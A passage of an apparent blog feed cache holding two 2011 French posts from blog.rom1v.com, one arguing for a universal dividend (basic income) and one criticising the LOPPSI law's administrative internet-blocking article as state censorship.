Tous les hommes sont égaux. Mais une poignée de privilégiés a le pouvoir de créer la monnaie, au détriment de tous les autres. La création monétaire est un enjeu majeur, trop souvent ignoré, dont dépendra profondément la société de demain.
La suite de la réflexion : L’abondance contre l’économie.
";s:7:"dateiso";s:15:"20110217_172639";}s:15:"20110217_162639";a:7:{s:5:"title";s:51:"Dividende Universel : un enjeu majeur de société";s:4:"link";s:76:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe";s:4:"guid";s:76:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe";s:7:"pubDate";s:25:"2011-02-17T16:26:39+01:00";s:11:"description";s:0:"";s:7:"content";s:17864:"Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies.
Je commence à me rendre compte que la guerre contre le partage n’est qu’une manifestation d’une problématique beaucoup plus générale, qui touche la société et l’économie dans son ensemble. Voici quelques éléments de réflexion.
Considérons que la population a un ensemble de besoins à satisfaire. La satisfaction d’une partie de ces besoins nécessite du travail. Par exemple, le travail des industries alimentaires donne la possibilité à la population de se nourrir (sans récolter elle-même sa nourriture), celui des industries vestimentaires lui permet de se vêtir (sans fabriquer elle-même ses vêtements), la Poste lui permet d’envoyer des colis à l’autre bout du monde sans se déplacer, etc.
Par ailleurs, la population active peut effectuer une quantité de travail limitée (le nombre de personnes multiplié par le nombre d’heures). On peut distinguer 3 cas.
Dans le premier cas, il y a trop de besoins à satisfaire, la population active ne peut réaliser qu’une partie de tout ce travail. Ou plutôt, elle va le réaliser sur un période plus importante. Dans cette hypothèse, c’est le plein emploi, la situation économique est merveilleuse durant de nombreuses années, affichant une croissance impressionnante, comme par exemple durant les Trente Glorieuses.
Dans le second cas, la population active peut tout juste effectuer le travail nécessaire. Tous les besoins sont satisfaits, et tout le monde trouve du travail. La situation économique est bonne, la croissance est importante.
Dans le troisième cas, la population active peut effectuer plus de travail que nécessaire. Les besoins sont largement satisfaits avec moins de travail. Dans le système actuel, c’est la crise. Cela signifie qu’il n’y a pas assez de travail pour tout le monde, donc un taux de pauvreté important.
Le paradoxe est criant : plus nous parvenons à satisfaire nos besoins, plus la pauvreté augmente.
De ce paradoxe en découle un second.
Plus nous rendons nos outils de production efficaces, plus nous sommes capables de produire en abondance, avec moins de travail. Mais alors moins ce que nous produisons n’a de valeur marchande (puisque cette production est rendue abondante). Si la quantité vendue ne compense pas la baisse des prix unitaires, la seule manière de conserver une valeur marchande est alors de restreindre artificiellement le service rendu par cette production, contre l’intérêt général, comme le décrivait très bien Frédéric Bastiat dans le premier chapitre de “Sophismes Économiques” :
On remarque qu’un homme s’enrichit en proportion de ce qu’il tire un meilleur parti de son travail, c’est-à-dire de ce qu’il vend à plus haut prix. Il vend à plus haut prix à proportion de la rareté, de la disette du genre de produit qui fait l’objet de son industrie. On en conclut que, quant à lui du moins, la disette l’enrichit. Appliquant successivement ce raisonnement à tous les travailleurs, on en déduit la théorie de la disette. De là on passe à l’application, et, afin de favoriser tous les travailleurs, on provoque artificiellement la cherté, la disette de toutes choses par la prohibition, la restriction, la suppression des machines et autres moyens analogues.
Il en est de même de l’abondance. On observe que, quand un produit abonde, il se vend à bas prix : donc le producteur gagne moins. Si tous les producteurs sont dans ce cas, ils sont tous misérables: donc c’est l’abondance qui ruine la société. Et comme toute conviction cherche à se traduire en fait, on voit, dans beaucoup de pays, les lois des hommes lutter contre l’abondance des choses.
Au passage, nous reconnaissons ici le cas particulier du partage de fichiers, avec les restrictions numériques de lecture et la tentative de prohibition de l’utilisation d’outils de partage. La guerre contre le partage n’est qu’une lutte contre l’abondance, qui vise à restaurer la rareté afin de satisfaire une demande solvable.
Nous pouvons résumer ces deux paradoxes ainsi : plus nous rendons efficace notre production, moins ce que nous produisons n’a de valeur marchande (à cause de l’abondance) et plus la pauvreté augmente (à cause du manque de travail).
Une fois passé le cap d’une production abondante nécessitant peu de travail, on s’aperçoit que les politiques de recherche du plein emploi et de restriction de l’abondance (dans le but de conserver une valeur marchande) sont une lutte contre l’efficacité et l’intérêt général.
Supposons que l’on parvienne à une efficacité de production telle que l’emploi de 5% de la population active suffise à satisfaire les besoins de tous : nous serions dans une société qui n’a jamais été aussi productive et riche. Pourtant, nous aurions un taux de chômage de 95%. Si les revenus étaient exclusivement issus du travail rémunéré, une écrasante majorité de la population n’aurait aucun revenu. Restaurer une situation de plein emploi, impossible en pratique, serait très critiquable en théorie : il s’agirait d’imposer à de nombreuses personnes l’occupation d’un emploi utile ni pour elles, ni pour la société.
Aujourd’hui, nous ne sommes pas dans une situation si extrême (ça pourrait ne pas tarder, vraiment), mais force est de constater qu’en raison de l’informatisation et de l’automatisation de la production, le plein emploi ne peut plus être atteint. Devons-nous le regretter ? Je ne pense pas. Je pense même que c’est une chance : cela signifie que nous produisons plus efficacement des richesses.
Pour s’en rendre compte, il suffit de comprendre que le travail humain n’est pas un but, mais un moyen : il permet de surmonter les obstacles à la satisfaction des besoins. Regretter la trop grande facilité avec laquelle les obstacles sont franchis (car alors il y a moins de travail pour y parvenir), c’est vouloir combattre le but pour préserver le moyen ; c’est confondre l’obstacle et la cause.
Dans la situation actuelle, il semble donc inévitable de rompre le lien strict entre emploi et revenu. En effet, la monnaie correspondant aux richesses créées par les machines doit être, d’une manière ou d’une autre, distribuée à la population. Sans cela, nous nous trouvons dans une situation aberrante où il y a abondance de richesses réelles et pénurie de monnaie pour y accéder, et nous ne pouvons faire autrement que d’accepter avec fatalité les conséquences négatives de l’amélioration de la société (sic).
C’est ce que propose le Dividende Universel.
Le Dividende Universel (plus connu maintenant sous le nom de revenu de base), désigne le versement inconditionnel d’un revenu à chaque citoyen (son montant varie généralement, selon les propositions, entre 300€ et 1500€), de la naissance à la mort, qui se cumule aux autres revenus (issus de l’emploi par exemple).
Si c’est la première fois que vous entendez parler de ce concept, vous êtes sans doute sceptique, comme je l’ai été quand je l’ai découvert : cela semble utopique, irréalisable. Et pourtant…
J’ai introduit le sujet par la nécessité de dissocier l’emploi et le revenu, suite à la raréfaction de l’emploi (qui, contrairement aux idées reçues, est une bonne chose). Mais d’autres arguments, que je trouve encore plus pertinents, confortent les fondements de l’instauration d’un Dividende Universel.
Le plus évident est l’injustice du fonctionnement actuel de la création monétaire (je détaille dans un autre billet), un des bugs fondamentaux de notre société : des acteurs privés (les banques) créent de l’argent à partir de rien, par le mécanisme du prêt. C’est la magie de “l’argent dette”. En effet, lorsqu’une banque vous accorde un prêt pour acheter une maison par exemple, elle vous prête de l’argent qu’elle n’a pas ! La population se trouve alors lésée plusieurs fois :
Thierry Crouzet résume cette situation en une phrase :
Pendant que vous avez travaillé, ils ont fabriqué l’argent pour vous payer.
Le mécanisme est très bien expliqué par les vidéos pédagogiques de Paul Grignon (même si la forme est critiquable sur certains aspects) : L’Argent Dette, puis L’Argent Dette 2. La première vidéo a d’ailleurs fait l’objet d’une émission d’Arrêt sur Images.
Pour mettre fin à cette injustice, le Dividende Universel propose donc simplement que l’augmentation de la masse monétaire soit distribuée équitablement entre tous les citoyens, plutôt qu’elle ne soit réservée qu’à une poignée d’acteurs privés privilégiés au détriment de tout le reste de la population. C’est le point fondamental de cette proposition. Tous les autres arguments ne sont que des interprétations de la signification de cette nouvelle forme de distribution ou des analyses de ses conséquences.
Une part importante du travail effectué par la population est non marchand. Par exemple, dans le domaine qui m’intéresse, on peut citer la création de logiciels libres, qui sont à la base du fonctionnement d’Internet, ou encore la participation à Wikipedia, qui permet un partage de connaissance inégalé jusqu’à présent. Nous ne pouvons pas nier que ces créations ont une valeur immense pour la société (sans compter qu’elles bénéficient également au secteur marchand). Une part essentielle de cette valeur réside justement dans leur adoption par le plus grand nombre, d’autant plus rapidement qu’elles sont accessibles à tous, sans restrictions.
Le Dividende Universel peut être vu comme une valorisation de ces activités non marchandes, qui sont bénéfiques pour la société.
Chaque citoyen est co-propriétaire de la Zone Euro. Le Dividende Universel correspond donc simplement à la reconnaissance de la co-propriété de la zone économique pour chaque citoyen.
Nous héritons d’une richesse provenant des architectures et des outils construits par nos ancêtres. Il serait légitime que cette rente bénéficie à tous.
Yoland Bresson met en évidence cette richesse :
Prenons deux jumeaux parfaits, identiques en tout, particulièrement dans leurs compétences, supposons-les travaillant au même poste, dans un même processus de production (une usine de jeans par exemple) mais l’un situé en France et l’autre en Tunisie. Celui qui travaille en France recevra à l’évidence une rémunération plus élevée que son jumeau en Tunisie. Pourquoi ? Parce que les revenus ne résultent pas des seuls caractéristiques et mérites individuels ; que dans l’évaluation de ce que chacun produit, et dont il perçoit une part, celui qui vit en France bénéficie de tout un potentiel productif beaucoup plus performant, les infrastructures, les réseaux d’échange et d’information, les habitudes de communiquer, etc., c’est-à-dire du milieu dans lequel il est plongé et dont il profite inconsciemment. On peut dire qu’il existe un “champ économique” comme il existe un “champ magnétique” qui nous inonde d’une énergie potentielle. Si cette énergie est plus grande en France qu’en Tunisie, c’est qu’elle provient de tout le capital matériel et humain que nos parents ont lentement construit en France. Une part des revenus que nous obtenons est le produit de ce capital social. Nous héritons de cette rente.
Le Dividende Universel aurait aussi d’autres effets positifs. Par exemple, les prestations sociales actuelles découragent les individus de chercher un emploi rémunéré. En effet, lorsque les revenus du travail augmentent, les prestations sociales sont diminuées voire supprimées, menant à des situations absurdes où l’individu a parfois financièrement intérêt à ne pas accepter un travail.
De par sa nature inconditionnelle, le Dividende Universel supprimerait ces désincitations.
Si vous désirez approfondir le Dividende Universel, je vous recommande la Théorie Relative de la Monnaie, de Stéphane Laborde. La version 2.0 de la TRM est disponible.
Par analogie au principe de relativité d’Einstein (“les lois physiques s’expriment de manière identique dans tous les référentiels”), il postule que “la monnaie, en tant que code qui régit les échanges économiques, doit fonctionner de manière identique dans tous les référentiels”, et en analyse les conséquences. Il décrit également brièvement les problèmes fondamentaux du système actuel et ses effets.
Les défenseurs des libertés informatiques apprécieront certaines analogies, comme celle-ci :
On peut comparer le système monétaire encore actif en 2010 à l’ancien réseau informatique Français du Minitel, un réseau centralisé, où la création de services nécessitait un avis du propriétaire monopolistique ainsi que le partage des revenus de l’activité. Tandis qu’un système d’émission de monnaie symétrique dans l’espace-temps tel que le Dividende Universel est comparable à un internet neutre où chaque citoyen de la zone économique est considéré comme égal devant la création monétaire, et donc susceptible d’échanger en “peer-to-peer”, de personne à personne, sans permission spéciale d’une autorité centrale.
Je remercie particulièrement son auteur pour la relecture de ce billet, ainsi que pour ses réponses rapides et ses remarques pertinentes ;-) Je vous recommande son blog pour suivre l’actualité sur le sujet.
Avec le passage d’un monde de rareté à un monde d’abondance, nous sommes dans une période charnière où nous devons faire des choix de société cruciaux. La tentative de restauration de la rareté artificielle, que ce soit pour redonner une valeur marchande à la copie de fichiers ou pour prolonger le mythe du plein emploi, doit être combattue.
Tous les hommes sont égaux. Mais une poignée de privilégiés a le pouvoir de créer la monnaie, au détriment de tous les autres. La création monétaire est un enjeu majeur, trop souvent ignoré, dont dépendra profondément la société de demain.
La suite de la réflexion : L’abondance contre l’économie.
";s:7:"dateiso";s:15:"20110217_162639";}s:15:"20110108_114550";a:7:{s:5:"title";s:52:"LOPPSI : la censure d’État est adoptée en France";s:4:"link";s:76:"http://blog.rom1v.com/2011/01/loppsi-la-censure-detat-est-adoptee-en-france/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2049";s:7:"pubDate";s:31:"Sat, 08 Jan 2011 10:45:50 +0000";s:11:"description";s:383:"Titre initial : LOPPSI : la censure d’État bientôt adoptée en France Censure d’État Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au [...]";s:7:"content";s:19614:"Titre initial : LOPPSI : la censure d’État bientôt adoptée en France
Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au prétexte de la lutte contre la pédopornographie, contre laquelle elle est totalement inefficace.
(18/01/2011) Le Sénat vient de valider l’article 4 en l’état.
(10/03/201) Le Conseil Constitutionnel n’a pas censuré l’article 4 (il a censuré 13 autres articles), il a donc validé la censure gouvernementale d’Internet en France.
L’association de protection de l’enfance « L’Ange Bleu », luttant contre la pédophilie, ne s’y est pas trompée : elle considère que la LOPPSI utilise la protection de l’enfance comme cheval de Troie du filtrage généralisé d’Internet.
Dans le but de contourner la justice, le gouvernement a refusé tous les amendements obligeant l’intervention de l’autorité judiciaire. Ce refus a évidemment été très difficile à justifier, et les explications données ont valu un prix Busiris à Éric Ciotti, rapporteur du projet de loi à l’Assemblée Nationale.
Plusieurs députés de droite comme de gauche ont rappelé dans l’hémicycle qu’un filtrage sans décision de l’autorité judiciaire serait anticonstitutionnel.
En effet, dans sa décision historique du 10 juin 2009 (qui censure la loi Hadopi 1), le Conseil Constitutionnel a affirmé qu’une restriction de l’accès à Internet était une restriction de la liberté d’expression, et donc qu’elle ne pouvait être autorisée que par un juge (considérant 12) :
« Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 : « La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre de l’abus de cette liberté dans les cas déterminés par la loi » ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ; »
Pour expliquer que la suppression du juge n’était pas, selon lui, anticonstitutionnelle, Éric Ciotti a tenté de faire croire que le filtrage proposé par l’article 4 de la LOPPSI ne restreignait pas la liberté d’expression, contrairement à la coupure d’accès de l’HADOPI. Voici son discours à l’Assemblée Nationale :
« Vous avez fait référence à la jurisprudence du Conseil constitutionnel concernant la loi HADOPI, qui privilégie l’intervention du juge plutôt que celle de l’autorité administrative pour bloquer les accès à internet. Nous sommes ici dans une situation fondamentalement différente.
Que dit la jurisprudence HADOPI ? Le Conseil constitutionnel a estimé que bloquer l’accès global à internet d’un particulier était contraire aux libertés individuelles fondamentales. C’est la jurisprudence du Conseil constitutionnel.
À présent, nous sommes dans un cas totalement différent. Il ne s’agit pas de bloquer de façon systématique l’accès à internet d’un particulier, mais de bloquer des pages illégales dont la consultation est également illégale. La publication de ces pages constitue un délit, mais leur consultation aussi.
La mesure envisagée ne va donc pas priver l’internaute d’un espace de liberté, mais l’empêcher de commettre un acte illégal. »
Cette démonstration est composée de deux arguments.
Le premier est que la LOPPSI ne met en place qu’un blocage d’un ou plusieurs sites, là où l’HADOPI demandait la coupure complète de l’accès. Ainsi, le filtrage serait bien moins important. Mais il faut bien voir que la restriction de la liberté d’expression et de communication concerne la personne à qui cette restriction s’applique (c’est évident, mais apparemment il est nécessaire de l’expliciter) : lorsqu’un site est bloqué, c’est la liberté d’expression de celui qui s’exprime sur le site qui est restreinte, pas celle des « lecteurs ». Ainsi, si Mediapart.fr (au hasard) se trouve bloqué, certes pour les internautes ce n’est qu’un seul site inaccessible, mais pour les auteurs de Mediapart c’est une restriction de leur liberté d’expression. Cette restriction doit donc être décidée par un juge.
Avec la même logique fallacieuse, on parvient d’ailleurs à démontrer exactement le contraire : la coupure d’accès de l’HADOPI est beaucoup moins importante que le blocage d’un site par la LOPPSI. En effet, pour les auteurs de Mediapart, la coupure d’accès d’un internaute n’est pas une atteinte à leur liberté d’expression, puisque seul un internaute ne parviendra pas à accéder à leur site. Par contre le blocage de leur site est un blocage complet, qui empêchera à l’ensemble des internautes d’y accéder.
Le second argument avancé est qu’il ne s’agit que de bloquer des pages illégales, ce qui ne serait donc pas une restriction de la liberté d’expression. Mais c’est à un juge de décider de la légalité d’un contenu, pas au ministère de l’intérieur !
Même si son argumentation est fausse, Éric Ciotti n’a fait aucune erreur. Son but n’est pas de parvenir à une solution réfléchie et équilibrée : il veut simplement éviter l’autorité judiciaire.
Ce n’est pas un hasard si le gouvernement s’obstine tant à supprimer l’autorité judiciaire. Notez que ce débat est très lié à celui de la neutralité du net, où les opposants veulent limiter la neutralité aux seuls « contenus licites ». Comprenez « contenus dont la licéité aura été décidée par une entreprise privée ou par un gouvernement, pas par la justice » (la justice n’est pas appliquée par des algorithmes dans les routeurs).
Il y a principalement deux raisons à cela : l’extension future du filtrage et la censure politique.
La première raison est d’instaurer un filtrage administratif pour une raison quelconque (de préférence, quelque chose que tout le monde condamne, comme la pédopornographie), pour pouvoir l’étendre ensuite à d’autres domaines où l’intervention d’un juge poserait problème (car il n’autoriserait pas un tel filtrage).
En particulier, le 7 janvier 2010, dans ses vœux au monde de la culture, Nicolas Sarkozy a promis le filtrage aux industries du divertissement :
« Plus on pourra dépolluer automatiquement les réseaux et les serveurs de toutes les sources de piratage, moins il sera nécessaire de recourir à des mesures pesant sur les internautes. […] Il faut donc expérimenter sans délai les dispositifs de filtrage. »
D’ailleurs, Éric Ciotti lui-même ne dément pas l’extension future du filtrage.
La seconde raison est de mettre en place une architecture permettant de censurer les contenus dérangeant le pouvoir en place.
C’est ce qui s’est passé en Australie, où la liste noire secrète (qui a fuité sur Wikileaks) ne contenait que 32% de sites effectivement pédopornographiques, ou en Thaïlande, où des sites bloqués portaient la mention « lese majeste ». Comme le dit Wikileaks :
« History shows that secret censorship systems, whatever their original intent, are invariably corrupted into anti-democratic behavior »
Les liens vers la source de ces informations n’existe plus sur Wikileaks.org (évidemment), ni sur ses miroirs.
Alors bien sûr, j’en entends déjà certains : « mais tu es parano, nous sommes en France, pas en Australie ou en Thaïlande, nous sommes en démocratie, dans le pays des Droits de l’Homme ». Au passage, un élément fondamental de la démocratie est la séparation des pouvoirs. Lorsque le ministère de l’intérieur a le pouvoir de limiter la liberté d’expression, il empiète sur le pouvoir judiciaire.
Mais plus concrètement, trois évènements récents nous rappellent les risques de dérives, même (les mauvaises langues diront « surtout ») de la part d’un gouvernement français.
Le premier concerne les propos de Brice Hortefeux qui lui ont valu une condamnation pour injure raciale, suivie de la violente réaction anti-Internet de la part de l’UMP.
Le deuxième, c’est la diffusion des enregistrements dans l’affaire Woerth-Bettencourt, que le gouvernement s’est empressé de dénoncer (voir à ce sujet l’émission d’Arrêt sur Images consacrée à l’affaire Bettencourt si vous y êtes abonnés). Mediapart.fr aurait-il été censuré si la LOPPSI avait été opérationnelle ? Je ne sais pas.
Le troisième, c’est la fuite des câbles diplomatiques par Wikileaks. Là au moins, c’est clair, Wikileaks aurait été censuré : WikiLeaks et la censure politique d’Internet: nous voila prévenus !
Si ce texte de loi est validé en l’état, il est fort possible que nous vivions demain ce qui se passe en Tunisie aujourd’hui (où « officiellement, la censure ne concerne que le terrorisme et la pornographie »).
[Ce billet a été rédigé avant la chute du dictateur tunisien Ben Ali.]
(17/01/2011) Cette censure politique est à apprécier au regard des récentes déclarations du CSA, qui veut imposer le filtrage des sites non labellisés, comme l’a fait Berlusconi en Italie.
(06/04/2011) Une députée UMP soutient cette proposition.
(15/06/2011) Un projet de décret veut soumettre tout Internet à la censure gouvernementale.
(07/07/2011) Un ancien ministre UMP veut carrément une Haute Autorité [de censure] du net.
Malgré l’extrême gravité de l’instauration d’une censure dictée par le ministère de l’intérieur, une majorité du citoyens n’a jamais entendu parler de ce projet de loi dans les médias traditionnels (TV et radio), qui sont restés bien silencieux.
Si les 20h de TF1 et de France 2 ont effectivement évoqué le projet de loi LOPPSI pendant les débats à l’Assemblée Nationale, c’était simplement pour mentionner qu’un article assouplit le permis de conduire à points. Bien maigre information par rapport aux enjeux de ce texte. Lors du vote en première lecture, TF1 a même été accusé de manquement à l’honnêteté de l’information.
Sur le web, en revanche, l’article 4 provoque un tollé. Bien évidemment de la part des associations comme La Quadrature du Net, très en pointe pour défendre les libertés fondamentales sur Internet, Reporters sans frontières ou encore L’Ange Bleu (citée plus haut). Les critiques fusent également du côté des sites d’information spécialisés comme PC INpact et Numerama, mais aussi sur ReadWriteWeb ainsi que sur les réseaux sociaux et sur les blogs de milliers de citoyens.
La presse en ligne a également publié quelques articles dénonçant cette censure :
Loppsi 2: « Les dictateurs en ont rêvé, Sarkozy l’a fait » (LExpress.fr)
Tout le monde a peur de la LOPPSI (NouvelObs.com)
L’Assemblée nationale valide le filtrage du web (NouvelObs.com)
La loi LOPPSI est un pied dans la porte vers une censure gouvernementale de l’Internet (LeMonde.fr)
LOPPSI 2 donne les pleins pouvoirs au ministère de l’Intérieur pour censurer le Net (20minutes.fr)
LOPPSI 2: une loi extrêmement dangereuse et régressive (Liberation.fr)
Le décalage entre les informations fournies par les médias traditionnels et les médias en ligne est flagrant. Les causes profondes de la volonté de contrôler et de censurer l’information sur le Net ne sont certainement pas à chercher bien loin.
En conclusion, je souhaite faire passer 3 messages :
Je vous recommande ces billets d’Edwy Plenel :
En défense d’Internet et de WikiLeaks (1): nous autres, barbares…
En défense d’Internet et de WikiLeaks (2): la question démocratique
En défense d’Internet et de WikiLeaks (3): la révolution numérique
En défense d’Internet et de WikiLeaks (4): politique de la relation
(EDIT 18/01/2011)
Je n’ai parlé ici que de l’article 4, mais beaucoup d’autres articles de la LOPPSI sont décriés. Dans ce projet, l’exécutif use de son influence sur le législatif pour affaiblir le judiciaire, ce qui remet violemment en cause la séparation des pouvoirs.
Lire par exemple la tribune d’Eva Joly et Sandrine Bélier sur Rue89 : La Loppsi 2 n’est pas notre France.

Titre initial : LOPPSI : la censure d’État bientôt adoptée en France
Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au prétexte de la lutte contre la pédopornographie, contre laquelle elle est totalement inefficace.
L’association de protection de l’enfance « L’Ange Bleu », luttant contre la pédophilie, ne s’y est pas trompée : elle considère que la LOPPSI utilise la protection de l’enfance comme cheval de Troie du filtrage généralisé d’Internet.
Dans le but de contourner la justice, le gouvernement a refusé tous les amendements obligeant l’intervention de l’autorité judiciaire. Ce refus a évidemment été très difficile à justifier, et les explications données ont valu un prix Busiris à Éric Ciotti, rapporteur du projet de loi à l’Assemblée Nationale.
Plusieurs députés de droite comme de gauche ont rappelé dans l’hémicycle qu’un filtrage sans décision de l’autorité judiciaire serait anticonstitutionnel.
En effet, dans sa décision historique du 10 juin 2009 (qui censure la loi Hadopi 1), le Conseil Constitutionnel a affirmé qu’une restriction de l’accès à Internet était une restriction de la liberté d’expression, et donc qu’elle ne pouvait être autorisée que par un juge (considérant 12) :
Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 : “La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre de l’abus de cette liberté dans les cas déterminés par la loi” ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ;
Pour expliquer que la suppression du juge n’était pas, selon lui, anticonstitutionnelle, Éric Ciotti a tenté de faire croire que le filtrage proposé par l’article 4 de la LOPPSI ne restreignait pas la liberté d’expression, contrairement à la coupure d’accès de l’HADOPI. Voici son discours à l’Assemblée Nationale :
Vous avez fait référence à la jurisprudence du Conseil constitutionnel concernant la loi HADOPI, qui privilégie l’intervention du juge plutôt que celle de l’autorité administrative pour bloquer les accès à internet. Nous sommes ici dans une situation fondamentalement différente.
Que dit la jurisprudence HADOPI ? Le Conseil constitutionnel a estimé que bloquer l’accès global à internet d’un particulier était contraire aux libertés individuelles fondamentales. C’est la jurisprudence du Conseil constitutionnel.
À présent, nous sommes dans un cas totalement différent. Il ne s’agit pas de bloquer de façon systématique l’accès à internet d’un particulier, mais de bloquer des pages illégales dont la consultation est également illégale. La publication de ces pages constitue un délit, mais leur consultation aussi.
La mesure envisagée ne va donc pas priver l’internaute d’un espace de liberté, mais l’empêcher de commettre un acte illégal.
Cette démonstration est composée de deux arguments.
Le premier est que la LOPPSI ne met en place qu’un blocage d’un ou plusieurs sites, là où l’HADOPI demandait la coupure complète de l’accès. Ainsi, le filtrage serait bien moins important. Mais il faut bien voir que la restriction de la liberté d’expression et de communication concerne la personne à qui cette restriction s’applique (c’est évident, mais apparemment il est nécessaire de l’expliciter) : lorsqu’un site est bloqué, c’est la liberté d’expression de celui qui s’exprime sur le site qui est restreinte, pas celle des “lecteurs”. Ainsi, si Mediapart.fr (au hasard) se trouve bloqué, certes pour les internautes ce n’est qu’un seul site inaccessible, mais pour les auteurs de Mediapart c’est une restriction de leur liberté d’expression. Cette restriction doit donc être décidée par un juge.
Avec la même logique fallacieuse, on parvient d’ailleurs à démontrer exactement le contraire : la coupure d’accès de l’HADOPI est beaucoup moins importante que le blocage d’un site par la LOPPSI. En effet, pour les auteurs de Mediapart, la coupure d’accès d’un internaute n’est pas une atteinte à leur liberté d’expression, puisque seul un internaute ne parviendra pas à accéder à leur site. Par contre le blocage de leur site est un blocage complet, qui empêchera à l’ensemble des internautes d’y accéder.
Le second argument avancé est qu’il ne s’agit que de bloquer des pages illégales, ce qui ne serait donc pas une restriction de la liberté d’expression. Mais c’est à un juge de décider de la légalité d’un contenu, pas au ministère de l’intérieur !
Même si son argumentation est fausse, Éric Ciotti n’a fait aucune erreur. Son but n’est pas de parvenir à une solution réfléchie et équilibrée : il veut simplement éviter l’autorité judiciaire.
Ce n’est pas un hasard si le gouvernement s’obstine tant à supprimer l’autorité judiciaire. Notez que ce débat est très lié à celui de la neutralité du net, où les opposants veulent limiter la neutralité aux seuls “contenus licites”. Comprenez “contenus dont la licéité aura été décidée par une entreprise privée ou par un gouvernement, pas par la justice” (la justice n’est pas appliquée par des algorithmes dans les routeurs).
Il y a principalement deux raisons à cela : l’extension future du filtrage et la censure politique.
La première raison est d’instaurer un filtrage administratif pour une raison quelconque (de préférence, quelque chose que tout le monde condamne, comme la pédopornographie), pour pouvoir l’étendre ensuite à d’autres domaines où l’intervention d’un juge poserait problème (car il n’autoriserait pas un tel filtrage).
En particulier, le 7 janvier 2010, dans ses vœux au monde de la culture, Nicolas Sarkozy a promis le filtrage aux industries du divertissement :
Plus on pourra dépolluer automatiquement les réseaux et les serveurs de toutes les sources de piratage, moins il sera nécessaire de recourir à des mesures pesant sur les internautes. […] Il faut donc expérimenter sans délai les dispositifs de filtrage.
D’ailleurs, Éric Ciotti lui-même ne dément pas l’extension future du filtrage.
La seconde raison est de mettre en place une architecture permettant de censurer les contenus dérangeant le pouvoir en place.
C’est ce qui s’est passé en Australie, où la liste noire secrète (qui a fuité sur Wikileaks) ne contenait que 32% de sites effectivement pédopornographiques, ou en Thaïlande, où des sites bloqués portaient la mention “lese majeste”. Comme le dit Wikileaks :
History shows that secret censorship systems, whatever their original intent, are invariably corrupted into anti-democratic behavior
Alors bien sûr, j’en entends déjà certains : « mais tu es parano, nous sommes en France, pas en Australie ou en Thaïlande, nous sommes en démocratie, dans le pays des Droits de l’Homme ». Au passage, un élément fondamental de la démocratie est la séparation des pouvoirs. Lorsque le ministère de l’intérieur a le pouvoir de limiter la liberté d’expression, il empiète sur le pouvoir judiciaire.
Mais plus concrètement, trois évènements récents nous rappellent les risques de dérives, même (les mauvaises langues diront “surtout”) de la part d’un gouvernement français.
Le premier concerne les propos de Brice Hortefeux qui lui ont valu une condamnation pour injure raciale, suivie de la violente réaction anti-Internet de la part de l’UMP.
Le deuxième, c’est la diffusion des enregistrements dans l’affaire Woerth-Bettencourt, que le gouvernement s’est empressé de dénoncer (voir à ce sujet l’émission d’Arrêt sur Images consacrée à l’affaire Bettencourt si vous y êtes abonnés). Mediapart.fr aurait-il été censuré si la LOPPSI avait été opérationnelle ? Je ne sais pas.
Le troisième, c’est la fuite des câbles diplomatiques par Wikileaks. Là au moins, c’est clair, Wikileaks aurait été censuré : WikiLeaks et la censure politique d’Internet: nous voila prévenus !
Si ce texte de loi est validé en l’état, il est fort possible que nous vivions demain ce qui se passe en Tunisie aujourd’hui (où « officiellement, la censure ne concerne que le terrorisme et la pornographie »). [Ce billet a été rédigé avant la chute du dictateur tunisien Ben Ali.]
Malgré l’extrême gravité de l’instauration d’une censure dictée par le ministère de l’intérieur, une majorité du citoyens n’a jamais entendu parler de ce projet de loi dans les médias traditionnels (TV et radio), qui sont restés bien silencieux.
Si les 20h de TF1 et de France 2 ont effectivement évoqué le projet de loi LOPPSI pendant les débats à l’Assemblée Nationale, c’était simplement pour mentionner qu’un article assouplit le permis de conduire à points. Bien maigre information par rapport aux enjeux de ce texte. Lors du vote en première lecture, TF1 a même été accusé de manquement à l’honnêteté de l’information.
Sur le web, en revanche, l’article 4 provoque un tollé. Bien évidemment de la part des associations comme La Quadrature du Net, très en pointe pour défendre les libertés fondamentales sur Internet, Reporters sans frontières ou encore L’Ange Bleu (citée plus haut). Les critiques fusent également du côté des sites d’information spécialisés comme PC INpact et Numerama, mais aussi sur ReadWriteWeb ainsi que sur les réseaux sociaux et sur les blogs de milliers de citoyens.
La presse en ligne a également publié quelques articles dénonçant cette censure :
Le décalage entre les informations fournies par les médias traditionnels et les médias en ligne est flagrant. Les causes profondes de la volonté de contrôler et de censurer l’information sur le Net ne sont certainement pas à chercher bien loin.
En conclusion, je souhaite faire passer 3 messages :
Je vous recommande ces billets d’Edwy Plenel :
